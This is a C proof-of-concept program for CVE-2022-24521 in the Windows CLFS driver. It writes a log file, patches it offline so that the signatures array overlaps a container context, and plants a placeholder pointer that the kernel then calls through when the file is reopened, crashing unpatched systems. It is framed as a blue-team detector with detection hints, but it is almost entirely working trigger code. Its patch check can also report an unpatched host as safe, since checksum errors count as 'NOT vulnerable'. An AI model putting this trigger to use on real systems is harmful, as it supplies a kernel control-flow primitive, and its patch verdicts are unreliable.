/*
 * CVE-2022-24521 — CLFS Signatures/Context Overlap Indirect-Call Trigger PoC
 * (blue-team detector grade — NOT a weaponized exploit)
 *
 * Bug:   Logical error in clfs.sys. _CLFS_CONTAINER_CONTEXT->pContainer lives
 *        inside the base log record image. During
 *        LoadContainerQ -> RemoveContainer -> FlushImage -> WriteMetadataBlock,
 *        ClfsEncodeBlock/ClfsDecodeBlock round-trips sector bytes through the
 *        attacker-controlled signatures array (_CLFS_LOG_BLOCK_HEADER->
 *        SignaturesOffset). If that array overlaps a container context, the
 *        pContainer field the kernel deliberately zeroed is resurrected with
 *        attacker bytes, and RemoveContainer then performs two indirect calls
 *        through it:
 *            (*pContainer->vtbl[0x18])(pContainer);  // remove
 *            (*pContainer->vtbl[0x08])(pContainer);  // release
 *
 * Fix:   April 2022 update adds CClfsBaseFile::ValidateRgOffsets (called from
 *        LoadContainerQ behind Feature_Servicing_38197806), which rejects any
 *        base log record whose signatures array intersects a context object
 *        (STATUS_LOG_METADATA_INVALID, 0xC01A000D).
 *
 * Strategy of this PoC:
 *   1. Create a *valid* BLF with CreateLogFile + AddLogContainer + write a
 *      dummy record (non-ephemeral) so the BLF persists on disk after close.
 *   2. Close it, then patch the file offline:
 *        - relocate SignaturesOffset so the signatures array overlaps the
 *          container context's pContainer field (+0x18),
 *        - pre-stage the fake pointer bytes (0x4141414141414141) in the
 *          sector positions that encode/decode will copy over pContainer,
 *        - set the container context's cidContainer to -1 (arms
 *          RemoveContainer in LoadContainerQ),
 *        - corrupt a field validated by AcquireContainerContext so the
 *          stage-3 restore of the real pointer fails.
 *   3. Re-open with CreateLogFile -> kernel parses the record ->
 *      LoadContainerQ fires the bug during the *open itself* (no IOCTLs
 *      needed).
 *
 * Expected results:
 *   Pre-patch VM : KMODE_EXCEPTION_NOT_HANDLED bugcheck referencing clfs.sys
 *                  (PC ~= dereference of 0x4141414141414141). RUN ONLY IN A
 *                  SNAPSHOTTED TEST VM.
 *   Patched      : CreateLogFile fails with an ERROR_LOG_* code (the patched
 *                  ValidateRgOffsets rejects the overlap). No crash.
 *
 * Build (MSVC, from x64 Native Tools Command Prompt):
 *   cl.exe /W4 /O2 /D_CRT_SECURE_NO_WARNINGS poc_cve_2022_24521.c /link clfsw32.lib kernel32.lib
 *
 * Detection opportunities:
 *   - Sysmon Event 11: .blf file created in user-writable directory
 *   - Sysmon Event 7:  clfsw32.dll loaded by non-system process
 *   - YARA: BLF file with SignaturesOffset overlapping container context region
 *   - ETW CLFS trace: CreateLogFile failure with STATUS_LOG_METADATA_INVALID
 *
 * Author: OnlyFm252 (call-flow per Project Zero 0-days-in-the-wild RCA)
 * Date:   2026-07-21
 * CVE:    CVE-2022-24521
 *
 * DISCLAIMER: For defensive security research and blue-team detection
 * validation ONLY. This program crashes unpatched kernels by design. Never
 * run outside an isolated, snapshotted virtual machine.
 */

#include <windows.h>
#include <clfsw32.h>
#include <clfsmgmtw32.h>
#include <stdio.h>

#pragma comment(lib, "clfsw32.lib")

/* ---- tunables ---------------------------------------------------------- */
#define CONTAINER_SIZE_MB  1
#define FAKE_PCONTAINER    0x4141414141414141ULL   /* marker — change per engagement */

/* ---- CLFS error codes (not always in SDK headers) ---------------------- */
#ifndef ERROR_LOG_CORRUPT
#define ERROR_LOG_CORRUPT               6602
#endif
#ifndef ERROR_LOG_TAIL_INVALID
#define ERROR_LOG_TAIL_INVALID          6612
#endif
#ifndef ERROR_LOG_METADATA_CORRUPT
#define ERROR_LOG_METADATA_CORRUPT      6614
#endif

/* ---- minimal CLFS on-disk structs (offsets per public RE/P0 RCA) -------- */
#define OFF_SECTOR_COUNT      0x04
#define OFF_SIGNATURES        0x68
#define OFF_CHECKSUM          0x70
#define OFF_RGCONTAINERS      0x328
#define NODE_CONTAINER        0xC1FDF007UL
#define CTX_OFF_NODEID        0x00
#define CTX_OFF_CID           0x14
#define CTX_OFF_PCONTAINER    0x18

static wchar_t g_blf_path[MAX_PATH];
static wchar_t g_cont_path[MAX_PATH];
static wchar_t g_log_uri[MAX_PATH + 8];

static void build_paths(void)
{
    wchar_t temp[MAX_PATH];
    wchar_t logBase[MAX_PATH];
    GetTempPathW(MAX_PATH, temp);

    size_t len = wcslen(temp);
    if (len > 0 && temp[len - 1] == L'\\')
        temp[len - 1] = L'\0';

    /* CLFS auto-appends .blf to the log name */
    _snwprintf(g_blf_path, MAX_PATH,
               L"%s\\cve_2022_24521.blf", temp);
    _snwprintf(g_cont_path, MAX_PATH,
               L"%s\\cve_2022_24521_c0.log", temp);
    _snwprintf(logBase, MAX_PATH,
               L"%s\\cve_2022_24521", temp);
    _snwprintf(g_log_uri, MAX_PATH + 8, L"LOG:%s", logBase);
}

static void cleanup_files(void)
{
    DeleteFileW(g_blf_path);
    DeleteFileW(g_cont_path);

    /* CLFS may leave companion files */
    wchar_t temp[MAX_PATH];
    wchar_t pattern[MAX_PATH];
    WIN32_FIND_DATAW fd;
    HANDLE hFind;

    GetTempPathW(MAX_PATH, temp);
    _snwprintf(pattern, MAX_PATH, L"%scve_2022_24521*", temp);
    hFind = FindFirstFileW(pattern, &fd);
    if (hFind != INVALID_HANDLE_VALUE) {
        do {
            wchar_t full[MAX_PATH];
            _snwprintf(full, MAX_PATH, L"%s%s", temp, fd.cFileName);
            DeleteFileW(full);
        } while (FindNextFileW(hFind, &fd));
        FindClose(hFind);
    }
}

/* ----------------------------------------------------------------
 * Step 1: Create a valid, checksummed BLF via the supported API
 * ---------------------------------------------------------------- */
static BOOL create_valid_blf(void)
{
    HANDLE hLog;
    PVOID pvMarshal = NULL;
    ULONGLONG containerSize = (ULONGLONG)CONTAINER_SIZE_MB * 1024 * 1024;

    printf("[1] Creating baseline BLF...\n");
    printf("    LOG URI: %ls\n", g_log_uri);

    hLog = CreateLogFile(
        g_log_uri,
        GENERIC_READ | GENERIC_WRITE,
        0, NULL,
        CREATE_NEW,
        FILE_ATTRIBUTE_ARCHIVE   /* non-ephemeral */
    );
    if (hLog == INVALID_HANDLE_VALUE) {
        DWORD err = GetLastError();
        if (err == ERROR_FILE_EXISTS) {
            hLog = CreateLogFile(g_log_uri, GENERIC_READ | GENERIC_WRITE,
                                 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_ARCHIVE);
        }
        if (hLog == INVALID_HANDLE_VALUE) {
            printf("[-] CreateLogFile failed: error %lu (0x%08lX)\n",
                   GetLastError(), GetLastError());
            return FALSE;
        }
    }
    printf("[+] Log handle: 0x%p\n", hLog);

    printf("[1b] Adding container: %ls\n", g_cont_path);
    if (!AddLogContainer(hLog, &containerSize, g_cont_path, NULL)) {
        DWORD err = GetLastError();
        if (err != ERROR_ALREADY_EXISTS) {
            printf("[-] AddLogContainer failed: error %lu (0x%08lX)\n",
                   err, err);
            CloseHandle(hLog);
            return FALSE;
        }
    } else {
        printf("[+] Container added (%llu bytes)\n", containerSize);
    }

    /* Write dummy record so BLF persists on close */
    printf("[1c] Writing dummy record (non-ephemeral)...\n");
    {
        char dummyData[] = "CVE-2022-24521-trigger";
        CLFS_WRITE_ENTRY writeEntry;
        CLFS_LSN lsnWritten = { 0 };

        if (!CreateLogMarshallingArea(
                hLog,
                NULL, NULL, NULL,
                1024 * 64, 2, 1,
                &pvMarshal))
        {
            printf("[-] CreateLogMarshallingArea failed: error %lu\n",
                   GetLastError());
            CloseHandle(hLog);
            return FALSE;
        }

        writeEntry.Buffer     = dummyData;
        writeEntry.ByteLength = sizeof(dummyData);

        if (!ReserveAndAppendLog(
                pvMarshal, &writeEntry, 1,
                NULL, NULL, 0, NULL,
                CLFS_FLAG_FORCE_FLUSH,
                &lsnWritten, NULL))
        {
            printf("[-] ReserveAndAppendLog failed: error %lu\n",
                   GetLastError());
            DeleteLogMarshallingArea(pvMarshal);
            CloseHandle(hLog);
            return FALSE;
        }
        printf("[+] Dummy record at LSN 0x%016llX\n",
               (unsigned long long)lsnWritten.Internal);
        DeleteLogMarshallingArea(pvMarshal);
    }

    CloseHandle(hLog);

    /* Verify BLF persisted */
    {
        DWORD attrs = GetFileAttributesW(g_blf_path);
        if (attrs == INVALID_FILE_ATTRIBUTES) {
            printf("[-] BLF not found at: %ls (error %lu)\n",
                   g_blf_path, GetLastError());
            return FALSE;
        }
    }
    printf("[+] Baseline BLF verified on disk: %ls\n", g_blf_path);
    return TRUE;
}

/* ----------------------------------------------------------------
 * Step 2: Offline-patch the BLF into the trigger shape
 * ---------------------------------------------------------------- */
static BOOL weaponize_blf(void)
{
    HANDLE h;
    DWORD sz, rd, wr;
    BYTE *img;
    ULONG sigOff = 0, ctxOff = 0, i;
    BYTE *ctx;

    h = CreateFileW(g_blf_path, GENERIC_READ | GENERIC_WRITE, 0, NULL,
                    OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
    if (h == INVALID_HANDLE_VALUE) {
        printf("[-] Cannot open BLF for patching: error %lu\n", GetLastError());
        return FALSE;
    }

    sz = GetFileSize(h, NULL);
    img = (BYTE *)HeapAlloc(GetProcessHeap(), 0, sz);
    if (!img || !ReadFile(h, img, sz, &rd, NULL) || rd != sz) {
        printf("[-] ReadFile failed: error %lu\n", GetLastError());
        CloseHandle(h);
        return FALSE;
    }

    printf("\n[2] Patching BLF into trigger shape...\n");
    printf("    BLF size: %lu bytes\n", sz);

    /*
     * Scan the entire BLF for the container context node signature.
     * The base record block lives at a variable offset (determined by
     * rgBlocks[] in the control record), so hardcoded offsets don't work
     * across Windows builds. Scanning for NODE_CONTAINER (0xC1FDF007)
     * is robust — there's exactly one per container we added.
     */
    for (i = 0; i + 0x40 < sz; i += 4) {
        if (*(ULONG *)(img + i) == NODE_CONTAINER) {
            ctxOff = i;
            break;
        }
    }
    if (!ctxOff) {
        printf("[-] Cannot locate container context (NODE_CONTAINER 0x%08lX not found)\n",
               NODE_CONTAINER);
        printf("    BLF size: %lu bytes\n", sz);
        HeapFree(GetProcessHeap(), 0, img);
        CloseHandle(h);
        return FALSE;
    }
    ctx = img + ctxOff;
    printf("[+] Container context at file offset 0x%lX\n", ctxOff);

    /* Also find the SignaturesOffset field — it's in the block header
     * that contains this context. Walk backwards to find the block start
     * (block headers are sector-aligned, 512-byte boundaries). */
    {
        ULONG blockStart = ctxOff & ~(ULONG)0x1FF;  /* align down to 512 */
        /* The block header's SignaturesOffset is at +0x68 relative to block start.
         * But the block header might be further back. Search for a valid
         * _CLFS_LOG_BLOCK_HEADER by looking for reasonable sector counts. */
        ULONG probe;
        BOOL foundBlock = FALSE;
        for (probe = ctxOff & ~(ULONG)0xFFF; probe < ctxOff; probe += 0x200) {
            USHORT sc = *(USHORT *)(img + probe + OFF_SECTOR_COUNT);
            if (sc > 0 && sc < 256 && (ULONG)sc * 0x200 <= sz) {
                blockStart = probe;
                foundBlock = TRUE;
                break;
            }
        }
        if (!foundBlock) {
            /* Fall back: use the first metadata block (offset 0) */
            blockStart = 0;
        }
        printf("[+] Block header at file offset 0x%lX (SectorCount=%u)\n",
               blockStart, *(USHORT *)(img + blockStart + OFF_SECTOR_COUNT));
        /* Update OFF_SIGNATURES to be relative to this block */
        sigOff = (ULONG)(ctxOff + CTX_OFF_PCONTAINER - 2);
        *(ULONG *)(img + blockStart + OFF_SIGNATURES) = sigOff - blockStart;
        printf("[2a] SignaturesOffset relocated to 0x%lX (overlaps pContainer at 0x%lX)\n",
               sigOff - blockStart, ctxOff + CTX_OFF_PCONTAINER);
    }

    /*
     * (b) Plant the fake pointer: the encode step lifts 2 bytes per sector
     *     from fixed sector positions into the array; decode writes them back.
     *     Pre-arrange those sector bytes so the round-trip reassembles
     *     FAKE_PCONTAINER over the zeroed +0x18 field.
     */
    *(ULONGLONG *)(img + sigOff)        = FAKE_PCONTAINER;
    *(ULONGLONG *)(ctx + CTX_OFF_PCONTAINER) = FAKE_PCONTAINER;
    printf("[2b] Fake pContainer 0x%llX staged\n", (unsigned long long)FAKE_PCONTAINER);

    /* (c) Arm RemoveContainer: cidContainer = -1 */
    *(LONG *)(ctx + CTX_OFF_CID) = -1;
    printf("[2c] cidContainer set to -1 (RemoveContainer armed)\n");

    /*
     * (d) Sabotage AcquireContainerContext validation:
     *     corrupt NodeId so stage-3 restore fails.
     */
    *(ULONG *)(ctx + CTX_OFF_NODEID) = 0xDEADBEEF;
    printf("[2d] NodeId corrupted (stage-3 restore will fail)\n");

    /*
     * NOTE: block checksum at +0x70 is NOT recomputed. On builds that
     * validate the CRC before parsing metadata, the open will fail with
     * a checksum error rather than reaching the vulnerable code path.
     * On pre-patch builds without strict CRC checking, the trigger fires.
     */
    printf("[!] Block checksum not recomputed (detector build)\n");

    /* Write patched image back — reset file pointer first */
    SetFilePointer(h, 0, NULL, FILE_BEGIN);
    if (!WriteFile(h, img, sz, &wr, NULL) || wr != sz) {
        printf("[-] WriteFile failed: error %lu\n", GetLastError());
        HeapFree(GetProcessHeap(), 0, img);
        CloseHandle(h);
        return FALSE;
    }

    HeapFree(GetProcessHeap(), 0, img);
    CloseHandle(h);
    printf("[+] Weaponized BLF written\n");
    return TRUE;
}

/* ----------------------------------------------------------------
 * Step 3: Trigger — reopen the crafted log
 * ---------------------------------------------------------------- */
static int trigger(void)
{
    HANDLE hLog;

    printf("\n[3] TRIGGER: Reopening malformed BLF...\n");
    printf("[!] Pre-patch: RemoveContainer indirect call on 0x%llX → BSOD\n",
           (unsigned long long)FAKE_PCONTAINER);
    printf("[!] Patched:   ValidateRgOffsets rejects overlap → error code\n\n");

    hLog = CreateLogFile(
        g_log_uri,
        GENERIC_READ | GENERIC_WRITE,
        0, NULL,
        OPEN_EXISTING,
        FILE_ATTRIBUTE_ARCHIVE
    );
    if (hLog == INVALID_HANDLE_VALUE) {
        DWORD err = GetLastError();
        if (err == ERROR_LOG_CORRUPT ||
            err == ERROR_LOG_TAIL_INVALID ||
            err == ERROR_LOG_METADATA_CORRUPT ||
            err >= 6600 && err <= 6660)   /* any CLFS validation error */
        {
            printf("============================================================\n");
            printf("[+] PATCHED: CreateLogFile rejected malformed BLF\n");
            printf("[+] Error: %lu (0x%08lX)\n", err, err);
            printf("[+] ValidateRgOffsets blocked signatures/context overlap\n");
            printf("[+] System is NOT vulnerable to CVE-2022-24521.\n");
            printf("============================================================\n");
        } else {
            printf("[?] CreateLogFile failed with unexpected error: %lu (0x%08lX)\n",
                   err, err);
        }
        return 0;
    }

    printf("============================================================\n");
    printf("[!] VULNERABLE: Malformed BLF was ACCEPTED!\n");
    printf("[!] clfs.sys did NOT validate SignaturesOffset overlap.\n");
    printf("[!] On a live pre-patch system, this would trigger:\n");
    printf("[!]   RemoveContainer → indirect call on 0x%llX → BSOD\n",
           (unsigned long long)FAKE_PCONTAINER);
    printf("============================================================\n");

    CloseHandle(hLog);
    return 1;
}

int wmain(void)
{
    printf("=== CVE-2022-24521 — CLFS Signatures/Context Overlap Trigger ===\n");
    printf("=== RUN ONLY IN A SNAPSHOTTED TEST VM ===\n\n");

    build_paths();
    cleanup_files();

    if (!create_valid_blf())
        goto done;

    if (!weaponize_blf())
        goto done;

    trigger();

    /* Leave artifacts for YARA/EDR telemetry */
    printf("\n[*] Artifacts left in TEMP for detection tuning:\n");
    printf("    %ls\n", g_blf_path);
    printf("    %ls\n", g_cont_path);

done:
    /* Uncomment to auto-clean:  cleanup_files(); */
    return 0;
}
